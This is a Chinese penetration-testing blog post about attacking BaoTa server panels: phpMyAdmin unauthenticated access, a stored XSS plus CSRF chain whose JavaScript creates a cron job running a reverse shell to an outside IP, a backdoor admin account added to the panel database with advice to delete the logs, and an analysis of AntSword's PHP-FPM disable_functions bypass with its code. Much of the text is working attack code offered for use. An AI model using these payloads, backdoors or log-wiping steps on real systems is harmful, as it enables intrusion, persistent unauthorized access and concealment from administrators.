浅谈宝塔渗透手法,从常见漏洞 聊到 宝塔维权 再到 bypass disable_functions原理
2023-12-22 10:31:31 Author: 藏剑安全(查看原文) 阅读量:28 收藏

各位读者,好久不见,这段时间麋鹿甚是繁忙,以致于有一段时间未更新技术文章了。这几日看朋友圈中多位同仁分享雪景,突然发现已岁寒时深,恰巧又遇上流感,早晚清寒,大家记得勤添衣,望各位勿病安好。

零-文章目录

宝塔常见漏洞
phpmyadmin未授权

宝塔xss+csrf RCE
宝塔维权手法
添加后门账号
bypass disable_functions手
disable_functions and FastCGI/PHP_FPM前置知识

bypass disable_functions原理和插件使用

bypass disable_functions插件代码分析

壹-宝塔常见漏洞

宝塔phpmyadmin未授权

1.漏洞介绍

公网无需鉴权直接 root 权限进入 phpmyadmin,IP或域名地址:888/pma

为什么要介绍这个洞呢,因为phpmyadmin这里好做文章,常见手法有into outfile写shell,日志get shell,UDF getshell,MOF提权,网上教程一大堆,这里麋鹿就不浪费大家时间了,不熟悉的读者可以百度一下

2.影响版本

宝塔Linux面板7.4.2版本
宝塔Linux测试版7.5.13
Windows面板6.8版本

3.复现流程

宝塔会自动升级,搭个环境还是有点浪费时间的,这里我推荐Timeline Sec团队Sky师傅制作的靶场(记得登录上去第一时间关闭宝塔的自动更新)

https://cloud.tencent.com/developer/article/1693184

复现也很简单

如果能直接访问到下面地址就是存在该洞了

http://ip:端口/pma

宝塔RCE

1.漏洞介绍and影响版本

1.    6.x版本记录了验证码错误并存入数据库当中(老版本)

2.    <7.9.3版本宝塔会记录网站nginx日志,后台查看日志的地方可以XSS

2.复现流程

麋鹿选择7.9版本,如果已经安装高版本宝塔,需要还原成低版本

1,官网安装一个新版本,登录进去设置成离线

2.下载旧版本

yum install curlcurl -L https://github.com/weiwang3056/baota_release/blob/main/LinuxPanel/LinuxPanel-7.7.0.zip?raw=true > LinuxPanel-7.7.0.zip

3.解压

unzip LinuxPanel-7.7.0.zip

3.cd到panel目录执行更新脚本

bash update.sh

4.修改hosts防止官方更新

echo '127.0.0.1 bt.cn' >>/etc/hosts

ok,已经是旧版本了

5.随便创一个网站

6.UA里插一个xss弹窗

7.看日志,弹了

8.xss+csrf

开一个web服务,建一个js文件内容如下(记得把shell命令改成自己的ip和端口)

function addTask(TaskName, execTime, ip, port) {
    var execShell = 'bash -i >& /dev/tcp/192.168.1.14/7777 0>&1';
    execShell = encodeURIComponent(execShell);

    var params = 'name=' + TaskName + '&type=minute-n&where1=' + execTime + '&hour=&minute=&week=&sType=toShell&sBody=' + execShell + '&sName=&backupTo=localhost&save=&urladdress=undefined';

    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=AddCrontab', false);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(params);
}

function execTask(TaskName) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=GetCrontab', true);
    xhr.send();

    xhr.onload = function () {
        if (this.readyState == 4 && this.status == 200) {
            var res = JSON.parse(this.responseText);

            if (res[0].name == TaskName) {
                var TaskID = res[0].id.toString();
                var xhr = new XMLHttpRequest();
                xhr.open('POST', '/crontab?action=StartTask', false);
                xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                var params = 'id=' + TaskID;
                xhr.send(params);

                delTask(res[0].id);
                console.log(res[0].id);
                return res[0].id;
            }
        }
    }
}

function delTask(TaskID) {
    var params = 'id=' + TaskID.toString();
    var xhr = new XMLHttpRequest();
    xhr.open('POST', '/crontab?action=DelCrontab', false);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(params);
}

var TaskName = Math.random().toString(36).substring(7);
addTask(TaskName, '5', '1.1.1.1', '53');
execTask(TaskName);

9.插入xss 

</textarea><script src=http://192.168.1.3:8080/1.js></script>

10.查看日志,成功触发csrf(不知道为啥这个图片这么模糊)

ok,说完了宝塔常见的洞,现在来讲讲维权

-宝塔维权手法

1.前置知识

宝塔面板登录的信息存储在/www/server/panel/data/default.db中,很明显是个sqlite3文件

(顺便提一句,上面其他.pl文件的作用

开放端口对应port.pl

后台地址对应admin_path.pl

宝塔默认登录密码:对应default.pl)

其中账号密码存在users表中,对于password的加密方式为

md5(md5(md5(password)+'_bt.cn')+salt)

其中password为明文密码,salt在users中的salt字段

现在用DB Browser for SQLite看一下

很明显salt为3D3cJrSqoSec,那我们尝试加密一下看看最终的值是否正确

# MD5 hashing with additional strings as per the provided pattern
original_text = "milu1234"
additional_string1 = "_bt.cn"
additional_string2 = "3D3cJrSqoSec"

# First MD5 hash
first_md5 = hashlib.md5(original_text.encode()).hexdigest()

# Second MD5 hash with additional string 1
second_md5 = hashlib.md5((first_md5 + additional_string1).encode()).hexdigest()

# Final MD5 hash with additional string 2
final_md5 = hashlib.md5((second_md5 + additional_string2).encode()).hexdigest()
final_md5

最终的 MD5 哈希值是 5bc8301dff105f3a6f6a7a0866d0420f

用上面代码得到的 MD5 哈希值是 5bc8301dff105f3a6f6a7a0866d0420f,和表中结果一样,那么我们现在添加一个后门账号,账号名为admin,密码为123456,salt还是上面的3D3cJrSqoSec,用上面的脚本得到加密结果是4f4e1bf65ece412cf33ffb87fad3cd24。把这个加入到users表里

尝试登录

进来了,对了,记得删日志,记录在default.db的log表里

ok,现在开始今天的硬菜--bypass disable_functions

叁-disable_functions and FastCGI/PHP_FPM前置知识

1.disable_functions是什么

disable_functions是php.ini中的一个设置,就是一些危险的命令执行函数的黑名单。而宝塔会默认开disable_functions,这就会造成拿到webshell以后无法执行命令。

如何绕过?

之前麋鹿就发过一篇LD_PRELOAD的文章

https://mp.weixin.qq.com/s?__biz=MzkwNjUwNTg0MA==&mid=2247484214&idx=1&sn=0c00e6110d43ba82ac62296f808a119c&chksm=c0e63829f791b13f6561923d93725d070c0a0d27c48454d7fae47029d4e07596895421a0e47c&token=1554332763&lang=zh_CN#rd

今天再来说一下FastCGI/PHP_FPM的思路

首先,为什么要说这个东西呢,因为宝塔在安装php的时候默认安装PHP_FPM如下图

2.FastCGI/PHP_FPM的前世今生

由来:PHP 最初是以模块形式运行在 Web 服务器上的,比如 Apache 的 mod_php。这种方式简单易用,但在高负载情况下性能不佳。为了解决这一问题,引入了 FastCGI 模式,PHP 通过 FastCGI 与 Web 服务器通信。

发展:PHP-FPM 是 FastCGI 的一个实现,它提供了更好的进程管理能力。它最早作为一个独立的项目出现,用于补充 PHP 核心中缺失的功能。随着时间的发展,由于其出色的性能和稳定性,PHP-FPM 被整合到了 PHP 核心中,从 PHP 5.3.3 版本开始成为 PHP 的一部分。

显而易见PHP-FPM 主要用于提高 PHP 应用程序的性能和稳定性。

3.FastCGI/PHP_FPM工作原理

1.与Web服务器分离:PHP-FPM 作为 FastCGI 的实现,与 Web 服务器(如 Nginx 或 Apache)分离。Web 服务器处理静态内容,而 PHP-FPM 负责处理动态 PHP 请求。

2.请求处理:当 Web 服务器接收到一个 PHP 请求时,它将请求通过 FastCGI 传递给 PHP-FPM。

3.进程管理:PHP-FPM 维护一个或多个子进程池。每个池可以有不同的配置,比如用户、进程数量和环境变量。

4.响应请求:子进程处理请求并将结果返回给 Web 服务器,Web 服务器再将结果发送给客户端。

5.动态调整:PHP-FPM 可以根据配置和服务器负载动态地调整子进程的数量。

FastCGI/PHP_FPM的特点

细心的读者可能注意到我在上面的介绍里加粗了几个关键词--和web服务器分离运行 and 有进程管理功能,是的,这些就是bypass的部分原理,下面麋鹿具体说说特点。

  1. 不同的执行环境:PHP-FPM 作为 FastCGI 进程管理器,与 Web 服务器(如 Nginx 或 Apache)分离运行。在某些配置和特定的环境下,PHP-FPM 可能会以不同的用户或权限组执行,这可能导致它对 PHP 配置文件(如 php.ini)的解释和应用不同于预期。

  2. 独立的子进程:PHP-FPM 管理多个子进程来处理 PHP 请求。每个子进程可以有自己的配置和环境变量。在某些情况下,特定的子进程可能不受主 php.ini 文件中 disable_functions 指令的影响。

  3. 配置细节:如果 PHP-FPM 配置不当,某些进程池可能会忽略或覆盖 php.ini 中的设置。例如,如果某个进程池有自己的 php.ini 文件或者通过 FPM 配置文件设置了特定参数,这些设置可能会绕过全局的 disable_functions 设置。

4.FastCGI/PHP_FPM工作流程

  1. 客户端请求

    • 流程开始于客户端(例如一个网页浏览器)向 Web 服务器发送请求,这个请求可能是对 PHP 文件的调用,如 www.example.com/index.php

  2. Web 服务器接收请求

    • Web 服务器(如 Nginx)接收到对 PHP 文件的请求。

  3. 加载 FastCGI 模块

    • Nginx 会加载 FastCGI 模块,这是它用来处理 PHP 文件的工具。

  4. FastCGI 模块处理请求

    • FastCGI 模块将收到的 HTTP 请求转换为 FastCGI 协议的请求。这个过程包括封装 HTTP 请求信息,如 GET/POST 数据、Cookies 和其他头信息。

  5. 请求转发至 PHP-FPM

    • 封装好的 FastCGI 请求被发送到 PHP-FPM 服务。

  6. PHP-FPM 处理请求

    • PHP-FPM 接收到请求后,根据 FastCGI 协议解析并创建或分配一个子进程来处理请求。

    • 子进程执行 PHP 脚本,生成响应内容。这可能包括执行数据库查询、处理数据、生成 HTML 等。

  7. 发送响应回 Web 服务器

    • 一旦 PHP 脚本处理完毕,生成了响应(通常是 HTML),PHP-FPM 会将这个响应通过 FastCGI 协议发送回 Web 服务器。

  8. Web 服务器返回响应给客户端

    • Web 服务器接收到 PHP-FPM 的响应后,将其转换为 HTTP 响应,并发送回客户端(浏览器)。

  9. 客户端显示内容

    • 浏览器接收到来自 Web 服务器的响应后,解析并显示内容,完成整个请求-响应周期。

还是很好理解的,大家流程图和文字搭配理解(字丑见谅)

5.fastcgi协议

FastCGI 是一种常见的与 Web 服务器通信的协议,而FPM是Fastcgi的协议解析器。

当我们请求一个网页时,Nginx 会将 HTTP 请求转换为FastCGI 参数,这些参数会作为键值对传递给 FastCGI 处理程序--PHP-FPM。这些参数基本上是 CGI变量,它们包括了请求的所有重要信息。

FastCGI 消息类型

FastCGI 协议定义了多种消息类型,用于不同的操作,例如:

  • 开始请求(Begin Request):初始化一个请求。

  • 终止请求(End Request):结束一个请求。

  • 参数(Params):发送请求参数,如 QUERY_STRING、REQUEST_METHOD 等。

  • 标准输入(Stdin):发送请求主体,如 POST 数据。

  • 标准输出(Stdout):发送响应内容。

  • 标准错误(Stderr):发送错误信息。

  • 数据(Data):发送额外的数据。

举个例子,当访问 www.milu.com/milu.php 时,web目录为/www/wwwroot/www.milu.com,键值对如下

  • SCRIPT_FILENAME: /www/wwwroot/www.milu.com/milu.php

  • QUERY_STRING: 请求的查询字符串(如果有的话,如 ?id=123

  • REQUEST_METHOD: 请求方法,例如 GET

  • DOCUMENT_ROOT: /www/wwwroot/www.milu.com

  • SCRIPT_NAME: /milu.php

  • REQUEST_URI: /milu.php 或者包含查询字符串的完整 URI

  • DOCUMENT_URI: /milu.php

  • SERVER_PROTOCOL: 使用的协议版本,如 HTTP/1.1

  • GATEWAY_INTERFACE: CGI 版本,通常是 CGI/1.1

  • SERVER_SOFTWARE: Web 服务器软件及其版本,如 nginx/1.18.0

  • REMOTE_ADDR: 客户端的 IP 地址

  • REMOTE_PORT: 客户端的端口

  • SERVER_ADDR: 服务器的 IP 地址

  • SERVER_PORT: Web 服务器监听的端口,通常是 80443

  • SERVER_NAME: 服务器名,这里是 www.milu.com

p神有一篇文章里面提到一个用SCRIPT_FILENAME进行代码执行的思路,如下

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html?page=1#reply-list

但这个是以文件包含(包含SCRIPT_FILENAME值对应的文件)来进行执行,这个并不能bypass disable,因为这样还是会加载原先的php.ini,函数依然会被ban,那我们换一种思路:

如果我们生成一个我们自定义的so文件上传到服务器,然后通过FPM加载这个so文件去创建一个web服务(这是通过设置 PHP 的环境变量PHP_VALUEPHP_ADMIN_VALUE来实现的),这个新的服务忽略php.ini,也就是说这个新的web服务里没有ban掉危险函数,里面根本就不存在disable functions了?然后我们把执行命令的流量转发到新的web服务上,那这样的话,我们不就能执行命令了?不久就bypass了吗?

ok,现在开始介绍上面的思路--也就是蚁剑bypass插件的原理

-bypass disable_functions原理和插件使用

再理一下思路

简单点来讲就是用PHP-FPM启动一个新WebServer,绕过了disable functions的检测

此方法适用于PHP-FPM/FCGI 监听在 unix socket 或者 tcp socket 上时使用。常见的比如: nginx + fpm,而IIS+FPM 使用的是「管道」通信,故不适用。

再来介绍一点刚才没聊到的前置知识

1,php.ini里的extension是什么

php.ini 文件中的 extension 指令用于加载自定义的 .so 文件,即自定义的 PHP 扩展。这使得我们可以为 PHP 添加额外的功能或集成第三方库。

一般这样指定

extension=/path/to/your/extension.so

2,宝塔里PHP-FPM的位置在哪

一般位于php/[版本号]/fpm/pool.d/ 目录下,例如 php/7.4/fpm/pool.d/www.conf

3.PHP-FPM 的配置文件中 listen 参数是什么

listen 参数用于指定 PHP-FPM 监听的地址和端口或 Unix 套接字路径。这个参数决定了 Web 服务器(如 Nginx 或 Apache)如何与 PHP-FPM 进程通信。一般有两种形式

一为 IP 地址和端口组合,例

listen = 127.0.0.1:9000

二为 Unix 套接字的路径,例

listen = /tmp/php-cgi-74.sock

宝塔默认为第二种,如下图

4.那我再多说几句吧,listen = /tmp/php-cgi-74.sock这是啥意思呢

这意味着 PHP-FPM 使用的是一个 Unix 套接字,而不是 TCP 端口。在这种情况下,PHP-FPM 不会监听一个具体的“端口”,而是通过文件系统上的这个套接字来接收来自 Web 服务器(如 Nginx 或 Apache)的连接请求。

Unix 套接字(如/var/run/php/php7.4-fpm.sock)是一种通信机制,允许在同一台机器上运行的不同进程(例如 Web 服务器和 PHP-FPM 进程)之间进行数据交换。与 TCP/IP 端口不同,Unix 套接字不使用网络层进行通信,而是在操作系统的文件系统层面上进行,因此它们通常更高效且具有更低的延迟。

ok,现在介绍一下蚁剑的这款插件

挂上代理就可以直接在插件市场里下载了

如何使用

  1. 先写一个一句话,名字为1.php,蚁剑连一下,发现不能执行命令

2.选中这个1.php,加载bypass插件

(不知道为什么截图好模糊)

3.选择模式和选项。如下图

然后可以看到马子目录多了一个php和so文件

4.再添加一个shell,就是刚才生成的.antproxy.php

5.成功执行命令,bypass disable_fluctions

ok,插件通过FPM bypass的原理以及说的很清楚了,下面我们一起来看看是如何通过代码实现的

-bypass disable_functions插件代码分析

插件项目地址如下

https://github.com/AntSword-Store/as_bypass_php_disable_functions

先看一下core/php_fpm/index.js

该js文件主要功能是和FPM通信,创建一个web server,和加载一个.so文件。我们来一个一个看这些功能对应的代码

1,FPM功能

// 导入 FastCGI 客户端,用于与 PHP-FPM 交互
const { FastCgiClient } = require('../../payload');
// PHP-FPM 连接配置
let fpm_host = '';
let fpm_port = -1;
formvals['fpm_addr'] = formvals['fpm_addr'].toLowerCase();
if (formvals['fpm_addr'].startsWith('unix:')) {
    fpm_host = formvals['fpm_addr'];
} else if (formvals['fpm_addr'].startsWith('/')) {
    fpm_host = `unix://${formvals['fpm_addr']}`
} else {
    fpm_host = formvals['fpm_addr'].split(':')[0] || '';
    fpm_port = parseInt(formvals['fpm_addr'].split(':')[1]) || 0;
}
// 构造 FastCGI 请求并发送到 PHP-FPM
var payload = `${FastCgiClient()};
$content="";
$client = new Client('${fpm_host}',${fpm_port});
$client->request(array(
    'PHP_VALUE' => 'extension=${p}',
    'PHP_ADMIN_VALUE' => 'extension=${p}',
    ),
    $content
);
sleep(1);
echo(1);
`;

2.,生成.so文件并上传/core/base.js里

生成ext的generateExt函数如下

generateExt(cmd) {
    let self = this;
    let fileBuff = fs.readFileSync(self.ext_path);
    let start = 0,
      end = 0;
    switch (self.ext_name) {
      case 'ant_x86.so':
      case 'ant_x32.so':
        start = 275;
        end = 504;
        break;
      case 'ant_x64.so':
        // 434-665
        start = 434;
        end = 665;
        break;
      case 'ant_x86.dll':
      case 'ant_x32.dll':
        start = 1544;
        end = 1683;
        break;
      case 'ant_x64.dll':
        start = 1552;
        end = 1691;
        break;
      default:
        break;
    }
    if (cmd.length > (end - start)) {
      return
    }
    fileBuff[end] = 0;
    fileBuff.write(" ", start);
    fileBuff.write(cmd, start);
    return fileBuff;
  }

linux下生成.so

这里很有趣,ext里有对应的so和dll

而这些so和dll的内容也很有趣,用IDA反编译看一下so和dll的内容

同时generateExt()函数是这样调用的

let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`;
      let fileBuffer = self.generateExt(cmd);

什么意思呢,就是直接把下面这条命令插到so或者dll里(写到cmd里)然后运行

let cmd = ${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}

具体一点命令长这样(下面会详细介绍)

/bin/sh -c php -n -S 127.0.0.1:60298-t /var/www/html

先剧透一下,就是创建一个“裸”的php server

具体一点来讲,流程如下

使用 fs.readFileSync 方法读取 ext 路径下的文件(so or dll文件)到 fileBuff 中。

将cmd命令插入到硬编码的起始和结束位置。

检查cmd命令长度是否超过预留的区域,不超过在文件的指定位置写入命令(因为cmd命令是固定的,所以一般不会超过该长度,预留区域就是ida反编译里comand那一块空白的地方)。

最后返回的文件包含原始的共享库内容和新插入的命令。

3,上传.so

// 上传 .so 文件
new Promise((res, rej) => {
    var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`;
    core.request(
        core.filemanager.upload_file({
            path: ext_path,
            content: fileBuffer
        })
    )
    // ... 后续 Promise 链
});

4,加载上传的.so文件并发生fastcgi请求

// 构造 FastCGI 请求并发送到 PHP-FPM
var payload = `${FastCgiClient()};
$content="";
$client = new Client('${fpm_host}',${fpm_port});
$client->request(array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD' => 'POST',
    'SERVER_SOFTWARE' => 'php/fcgiclient',
    'REMOTE_ADDR' => '127.0.0.1',
    'REMOTE_PORT' => '9984',
    'SERVER_ADDR' => '127.0.0.1',
    'SERVER_PORT' => '80',
    'SERVER_NAME' => 'mag-tured',
    'SERVER_PROTOCOL' => 'HTTP/1.1',
    'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
    'PHP_VALUE' => 'extension=${p}',
    'PHP_ADMIN_VALUE' => 'extension=${p}',
    'CONTENT_LENGTH' => strlen($content)
    ),
    $content
);

5.和新的web服务通讯

exploit() {
    // ... [代码省略] ...
    new Promise((res, rej) => {
        // ... [代码省略] ...
    }).then((p) => {
        // 触发 payload, 会超时
        var payload = `${FastCgiClient()};
          $content="";
          $client = new Client('${fpm_host}',${fpm_port});
          $client->request(array(
            // FastCGI 请求参数
            'GATEWAY_INTERFACE' => 'FastCGI/1.0',
            'REQUEST_METHOD' => 'POST',
            'SERVER_SOFTWARE' => 'php/fcgiclient',
            'REMOTE_ADDR' => '127.0.0.1',
            'REMOTE_PORT' => '9984',
            'SERVER_ADDR' => '127.0.0.1',
            'SERVER_PORT' => '80',
            'SERVER_NAME' => 'mag-tured',
            'SERVER_PROTOCOL' => 'HTTP/1.1',
            'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
            'PHP_VALUE' => 'extension=${p}',
            'PHP_ADMIN_VALUE' => 'extension=${p}',
            'CONTENT_LENGTH' => strlen($content)
            ),
            $content
          );
          sleep(1);
          echo(1);
        `;
        core.request({
          _: payload,
        }).then((response) => {

        }).catch((err) => {
          // 超时也是正常
        })
      }).then(() => {
        // 验证是否成功开启
        var payload = `sleep(1);
          $fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
          if(!$fp){
            echo(0);
          }else{
            echo(1);
            @fclose($fp);
          };`
        core.request({
          _: payload,
        }).then((response) => {
          // ... [代码省略] ...
        }).catch((err) => {
          // ... [代码省略] ...
        })
      }).catch((err) => {
        // ... [代码省略] ...
      });
    // ... [代码省略] ...
}

js文件分析到此结束

最后来看一下生成的.antproxy.php内容如下

<?php
function get_client_header(){
    $headers=array();
    foreach($_SERVER as $k=>$v){
        if(strpos($k,'HTTP_')===0){
            $k=strtolower(preg_replace('/^HTTP/', '', $k));
            $k=preg_replace_callback('/_\w/','header_callback',$k);
            $k=preg_replace('/^_/','',$k);
            $k=str_replace('_','-',$k);
            if($k=='Host') continue;
            $headers[]="$k:$v";
        }
    }
    return $headers;
}
function header_callback($str){
    return strtoupper($str[0]);
}
function parseHeader($sResponse){
    list($headerstr,$sResponse)=explode("

"

,$sResponse, 2);
    $ret=array($headerstr,$sResponse);
    if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
        $ret=parseHeader($sResponse);
    }
    return $ret;
}

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 60298;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/1.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
    return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
    $method = "POST";
    $post_data = file_get_contents('php://input');
}

$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
    $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";

$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;

fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
    $response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

这段php代码实现了一个HTTP 代理功能,就是把我们的流量转发到60298端口(端口随机生成),让我们看看60298端口是个啥--运行了一个php server

pid为69186

解读一下返回结果

/bin/sh -c php -n -S 127.0.0.1:60298-t /var/www/html

-n:让 PHP 忽略加载 php.ini 配置文件。这意味着 PHP 将运行在一个没有任何预设配置的“裸”环境中。也就是没有disable functions的环境。

到这里,一切都明朗的很,最终结果就是--执行命令的流量通过.antproxy.php转发到这个新的无disable的server上,就达到了bypass。


内推|长亭科技2024届秋招开启,附内推码~

你能拿她学校的shell,但永远拿不了她的shell

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

渗透实战|NPS反制之绕过登陆验证

渗透实战|记一次曲折的EDU通杀漏洞挖掘

免责声明
由于传播、利用本公众号藏剑安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号藏剑安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDA5NzUzNA==&mid=2247485791&idx=1&sn=4d853c29f13ac87a310a2b240af34f62&chksm=ce9ccfa4315bb605a1d31246b869cea2411609520f605290ffccd2dbabd61980f1582ca6062d&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh